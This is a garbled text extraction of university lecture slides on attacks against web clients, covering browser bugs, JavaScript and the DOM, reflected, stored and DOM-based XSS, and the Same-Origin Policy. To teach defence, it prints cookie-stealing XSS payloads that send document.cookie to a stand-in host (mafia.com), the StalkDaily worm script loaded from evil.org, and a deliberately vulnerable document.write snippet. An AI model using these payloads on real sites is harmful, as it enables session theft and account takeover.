Attacks on Clients Attacks on Clients (Section 7.1.3 on JavaScript; - - PowerPoint PPT Presentation

▶
attacks on clients attacks on clients
SMART_READER_LITE
LIVE PREVIEW

Attacks on Clients Attacks on Clients (Section 7.1.3 on JavaScript; - - PowerPoint PPT Presentation

Oct 12, 2022 390 likes •836 views

Software and Web Security 2 Software and Web Security 2 Attacks on Clients Attacks on Clients (Section 7.1.3 on JavaScript; (Section 7.1.3 on JavaScript; 7.2.4 on Media content; 7.2.6 on XSS) sws2 1 Last week: web server can be attacked

slide-1
SLIDE 1

Software and Web Security 2 Software and Web Security 2

Attacks on Clients Attacks on Clients

(Section 7.1.3 on JavaScript; (Section 7.1.3 on JavaScript; 7.2.4 on Media content; 7.2.6 on XSS)

sws2 1

slide-2
SLIDE 2

Last week: web server can be attacked by malicious input

web browser web server

sws2 2

slide-3
SLIDE 3

Last week: web server can be attacked by malicious input Thi k li t i b b b tt k d b li i i t This week: client, ie web browser, can be attacked by malicious input

Even the human user can be attacked: recall URL obfuscation. web browser web server

sws2 3

slide-4
SLIDE 4

example client side problem

sws2 4

slide-5
SLIDE 5

Browser bugs g

The web browser get untrusted input from the server. Bugs in the browser can become exploitable vulnerabilities g p

  • also bugs in browser add-ons, or other helper applications
  • Classic Denial of Service (DoS) example: IE image crash. An image with

huge size could crash Internet Explorer and freeze Windows machine <HTML><BODY> <img src=”a.jpg” width =”999999999” height=“99999999”> </BODY><HTML>

Things get more interesting as processing in the browser gets more powerful, and languages involved are more complex

sws2 5

slide-6
SLIDE 6

More dangerous browser bugs g g

Denial of Service bugs are the least of your worries... Possibility of drive-by-downloads where just visiting a webpage can install malware, by exploiting it h l i b hi lib i di l security holes in browser, graphics libraries, media players, ... Homework exercise: Homework exercise: check securityfocus.com for security vulnerabilities for your favourite web browser

sws2 6

slide-7
SLIDE 7

Dynamic webpages

(Sect 7.1.3 & 7.2.4 in book)

sws2 7

slide-8
SLIDE 8

Recall: dynamic webpages y g

Most web pages do not just contain static HTML, but are dynamic: i th t i t bl t t ie they contain executable content. This is an interesting attack vector.

execution aka processing execution aka processing web browser web server

sws2 8

slide-9
SLIDE 9

Dynamic Content y

Languages for dynamic content: J S i t

  • JavaScript
  • Flash, Silverlight, ...
  • ActiveX

ActiveX

  • Java
  • ....

JavaScript is by far the most widespread of these technologies: nearly all web pages include JavaScript nearly all web pages include JavaScript

  • CSS – Cascading Style Sheets – defines layout of headers, links,

CSS Cascading Style Sheets defines layout of headers, links, etc; not quite execution, but can be abused, and can contain javascript.

sws2 9

slide-10
SLIDE 10

Controlling Dynamic Content (7.2.4) g y

Executing dynamic content can be controlled inside a sandbox NB the sandbox is made from software if there are security vulnerabilities in this software, all bets are off, if there are security vulnerabilities in this software, all bets are off, and attacker might escape...

sws2 10

slide-11
SLIDE 11

ActiveX controls vs Java applets

  • Windows only technology,

runs in Internet Explorer (IE)

  • platform independent

downside: OS patching might miss runs in Internet Explorer (IE)

.

  • binary code executed on

behalf of the browser

downside: OS patching might miss Java patching

  • bytecode executed on virtual

machine within browser behalf of the browser . machine within browser

binary code is for specific machine, byte code is interpreted by virtual hi

  • can access user files
  • support for signed code

l Mi ft OS d t t machine

  • restrictive sandbox
  • support for signed code

plus Microsoft OS update can set kill bit to stop dangerous controls

  • an installed control can be run

support for signed code

  • applet only runs on site where it

from any website (up to IE7)

  • IE configuration options

allow block prompt

is embedded

  • sandboxing configuration

– allow, block, prompt – also control by administrator

sws2 11

slide-12
SLIDE 12

JavaScript & the DOM JavaScript & the DOM

(Sect 7.1.3)

sws2 12

slide-13
SLIDE 13

JavaScript

  • embedded in web page to support client-side dynamic behaviour

d l d b N t l t t d di d b ECMA

  • developed by Netscape, later standardised by ECMA
  • JavaScript has NOTHING to do with Java
  • typical uses:

– dynamic user interaction with the web page

Eg opening and closing menus, changing pictures,... JavaScript code can completely rewrite the contents of an HTML page!

– client-side input validation p

Eg has the user entered a correct date, a syntactically correct email address or credit card number, or a strong enough password?

NB such validation should not be security critical! Why? NB such validation should not be security critical! Why? Malicious client can by-pass such validation!

sws2 13

slide-14
SLIDE 14

JavaScript (Sect 7.1.3 in book)

  • scripting language interpreted by browser, with code in the HTML

<script type=“text/javascript”> </script> <script type=“text/javascript”> ... </script>

  • ptional, default is javascript
  • Built-in functions eg to change content of the window

<script> alert(‘Hello World!’); </script> A web page can define additional functions

<script>function hi(){alert(‘Hello World!’);}</script>

  • built-in events for reacting to user actions

<i “ i j ” M O ”j i t hi()”> <img src=“pic.jpg” onMouseOver=”javascript:hi()”>

Some examples in http://www.cs.ru.nl/~erikpoll/sws2/demo/demo_javascript.html

sws2 14

slide-15
SLIDE 15

DOM (Document Object Model) ( j )

The DOM is representation of the content of a webpage, in OO style

The webpage is an object document with sub objects such as The webpage is an object document with sub-objects, such as document.URL, document.referrer, document.cookie,...

JavaScript can interact with the DOM to access or change parts of the current webpage

incl text URL cookies

  • incl. text, URL, cookies, ....

This gives JavaScript its real power!

Eg it allows scripts to change layout and content of the webpage, open and menus in the webpage,...

See http://www.cs.ru.nl/~erikpoll/sws2/demo/demo_DOM.html for some examples

sws2 15

slide-16
SLIDE 16

Security features y

  • The user environment is protected from malicious JavaScript

programs by a sand boxing environment inside browser programs by a sand-boxing environment inside browser

  • JavaScript programs are protected from each other by

p p g p y compartementalisation – Same-Origin-Policy: code can only access resources with the same origin site (more on that later) same origin site (more on that later) As we will see, such protection has its limits...

sws2 16

slide-17
SLIDE 17

HTML injection & XSS

sws2 17

slide-18
SLIDE 18

sos sos Search No matches found for sos No matches found for sos

18 sws2

slide-19
SLIDE 19

<h1>sos</ h1> <h1>sos</ h1> Search No matches found for No matches found for

sos

19 sws2

slide-20
SLIDE 20

What proper input validation should produce

h1 h1 / h1 / h1 <h1 h1>sos< >sos</ h1 / h1> Search No matches found for sos

  • r

<h1>sos</ h1> <h1>sos</ h1> Search No matches found for <h1>sos</h1> Here < and > written as &lt; and &gt; in the HTML source

sws2 20

slide-21
SLIDE 21

What can happen if we enter more complicated HTML code as search term ? search term ?

<img source="http://www.spam.org/advert.jpg"> <script language=“text/javascript"> alert('Hoi'); alert('Hoi'); </script>

Note that in the last example we enter executable code – javascript. Such HTML injection is called Cross Site Scripting (XSS)

sws2 21

slide-22
SLIDE 22

HTML injection j

HTML injection: user input is echoed back to the client without validation or escaping without validation or escaping But why is this a security problem? 1 simple HTML injection attacker can deface a webpage, with pop-ups, ads, or fake info

http://cnn.com/search?string=“<h1>Obama sends US troops http://cnn.com/search?string <h1>Obama sends US troops to Kiev</h1> <img=.......>” Such HTML injections abuses trust that a user has in a website: the user believes the content is from the website, the user believes the content is from the website, when in fact it comes from an attacker

2 XSS 2 XSS the injected HTML contains executable content, typically javascript Execution of this code can have all sorts of nasty effects...

sws2 22

slide-23
SLIDE 23

XSS (Cross Site Scripting) ( g)

Attacker inject scripts into a website, such that i t d t i ti

  • scripts are passed on to a victim
  • scripts are executed,

– in the victim’s browser in the victim s browser – with the victim’s access rights – with the victim’s data – incl. cookies – interacting with the user, with the webpage (using the DOM), causing new HTTP requests, ...

Usually injected scripts are javascript, but could be Flash, ActiveX, Java...

sws2 23

slide-24
SLIDE 24

Simple HTML injection j

b

malicious

  • utput

web server browser

sws2 24

slide-25
SLIDE 25

XSS

processing of malicious scripts

b

malicious output

  • incl. scripts

web server browser

unwanted requests

another web server

unwanted requests

web server

sws2 25

slide-26
SLIDE 26

stealing cookies with XSS g

Consider htt // i ti / h h ?t < i t> http://victim.com/search.php?term=<script> window.open(“http://mafia.com/steal.php?cookie=” + document.cookie</script> / p What if user clicks on this link? 1. browser goes to http://victim.com/search.php 2. website victim.com returns <HTML> Results for <script> <script> </HTML> <HTML> Results for <script>....<script> </HTML> 3. browser executes script and sends mafia his cookie

sws2 26

slide-27
SLIDE 27

stealing cookies using XSS g g

M t lth f t li ki More stealthy way of stealing cookies

<script> <script> img = new Image(); img.src =“http://mafia.com/” + d URI(d t ki ) encodeURI(document.cookie) </script> Better because the user won’t notice a change in the webpage when this script is executed, unlike the one on the previous page is executed, unlike the one on the previous page

sws2 27

slide-28
SLIDE 28

Delivery mechanism for XSS y

Diff t f tt k t t i t t th i ti ’ b Different ways for an attacker to get scripts on to the victim’s browsers 1. reflected aka non-persistent XSS 1. reflected aka non persistent XSS 2. stored aka persistent XSS 3. DOM based XSS

sws2 28

slide-29
SLIDE 29

scenario 1: reflected XSS attack

  • Attacker crafts a special URL for a vulnerable web site,

ft URL t i i j i t

  • ften a URL containing javascript
  • Attacker then tempts victim to click on this link

Attacker then tempts victim to click on this link

by sending an email that includes the link, or posting this link on a website.

sws2 29

slide-30
SLIDE 30

reflected aka non-persistent XSS

malicious URL

b web server

HTML containing malicious output

sws2 30

slide-31
SLIDE 31

scenario 2: stored XSS attack

  • Attacker injects HTML - incl. scripts - into a web site,

hi h i t d t th t b it which is stored at that web site

  • This is echoed back later when victim visit the same site
  • Typical examples where attacker can try this

– some web forum – a book review on amazon.com – a posting on blackboard.ru.nl – ... Web2.0 web sites, which allow user-generated content, are ideal for this.

sws2 31

slide-32
SLIDE 32

Stored aka persistent XSS

malicious input

b data

attacker storing malicious content

  • n website

web server data base

HTML containing malicious output another user

sws2 32

  • f the same website
slide-33
SLIDE 33

scenario 3: DOM based attack

Attacker injects malicious content into a webpage via existing scripts i th t b th t i t t ith th DOM in that webpage that interact with the DOM Eg, the javascript code g, j p

<script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </script> </script>

in webpage will copy name parameter from URL into that webpage

Eg, for http://bla.com/welcome.html?name=Jan it will return Jan

But what if the URL contains javascript in the name?

eg http://bla com/welcome html?name=<script> eg http://bla.com/welcome.html?name=<script>...

An attacker can now use a malicious URL, as in a reflected attack

sws2 33

slide-34
SLIDE 34

scenario 3: DOM based attack

The injected payload can for instance be in the URL

Details depend on the browser Details depend on the browser

  • eg. browser may encode < and > in URL

A good web application might spot a malicious URL but ...the server may by-passed and never get to see the malicious payload! payload! http://bla.com/welcome.html#name=<script>.....<script> Part of the URL after # is not sent to bla.com, but is part of document.URL So server-side validation can’t help... S p

sws2 34

slide-35
SLIDE 35

XSS vulnerability on twitter

sws2 35

slide-36
SLIDE 36

example: persistent XSS attack on Google docs g

  • save as CSV file in spreadsheets.google.com
  • some web browsers render this content as HTML, and execute the

script!

  • this then allows attacks on gmail.com, docs.google.com,

d l b th ll h th ki code.google.com, .. because these all share the same cookie Is this the browser’s fault, or the web-site’s (ie google docs) fault?

sws2 36

slide-37
SLIDE 37

Twitter StalkDaily worm

executed when thi Included in twitter profile:

<a href="http://stalkdaily com"/><script src="http://evil org/attack js”>

you see this profile

<a href= http://stalkdaily.com /><script src= http://evil.org/attack.js”>...

where attack.js includes the following attack code var update = urlencode("Hey everyone, join www.StalkDaily.com."); p ( y y , j y ); var ajaxConn = new XHConn();... ajaxConn.connect("/status/update", "POST", "authenticity token="+authtoken+"&status="+update+“ tweet the link authenticity_token= +authtoken+ &status= +update+ &tab=home&update=update"); var set = urlencode('http://stalkdaily.com"></a><script src="http://evil.org/attack.js"> </script><script src="http://evil.org/attack.js"></script><a '); ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+set+“ &tab=home&update=update"); change profile to include

sws2 37

the attack code!

slide-38
SLIDE 38

Same-Origin-Policy

sws2 38

slide-39
SLIDE 39

Same-Origin-Policy (SOP) g y ( )

Same-Origin-Policy intended to prevent attack from a malicious website

  • n other web pages a user is interacting with
  • n other web pages a user is interacting with

sws2 39

slide-40
SLIDE 40

Single-Origin-Policy prevents some interaction g g y

client browser twitter.com mafia.com

sws2 40

slide-41
SLIDE 41

Same-Origin-Policy (SOP) g y ( )

Same-Origin-Policy intended to prevent attack from a malicious website

  • n other web pages a user is interacting with
  • n other web pages a user is interacting with

Basic idea

  • Scripts can only access information with same origin

p y g where origin is triple <scheme, address, port>

– eg <http, ru.nl, 80>, <https, ru.nl, 1080>

HTML t t b l t i i h it d l d d

  • HTML content belongs to origin where it was downloaded
  • Scripts included in a HTML document have the origin of that

document including them g – rationale: author of HTML page should know that scripts he includes are harmless

See demos in http://www.cs.ru.nl/~erikpoll/sws2/demo/test_SOP.html and http://www.cs.ru.nl/~erikpoll/sws2/demo/test_SOP2.html

sws2 41

slide-42
SLIDE 42

Will SOP prevent cookie stealing? g

Suppose attacker injects cookie stealing script in blackboard.ru.nl Will the SOP prevent this script from accessing cookie? No! Scripts include in blackboard.ru.nl will have access to the cookie

  • f that domain.

Even if the scipt is included in via a link, such as <script src “http://mafia com/steal cookie js”> <script src=“http://mafia.com/steal_cookie.js”>

sws2 42

slide-43
SLIDE 43

Circumventing the Single-Origin-Policy g g g y

attacker uploads attacker uploads malicious content user’s browser can’t distinguish between good & bad scripts attacker browser client browser good & bad scripts twitter.com mafia.com

sws2 43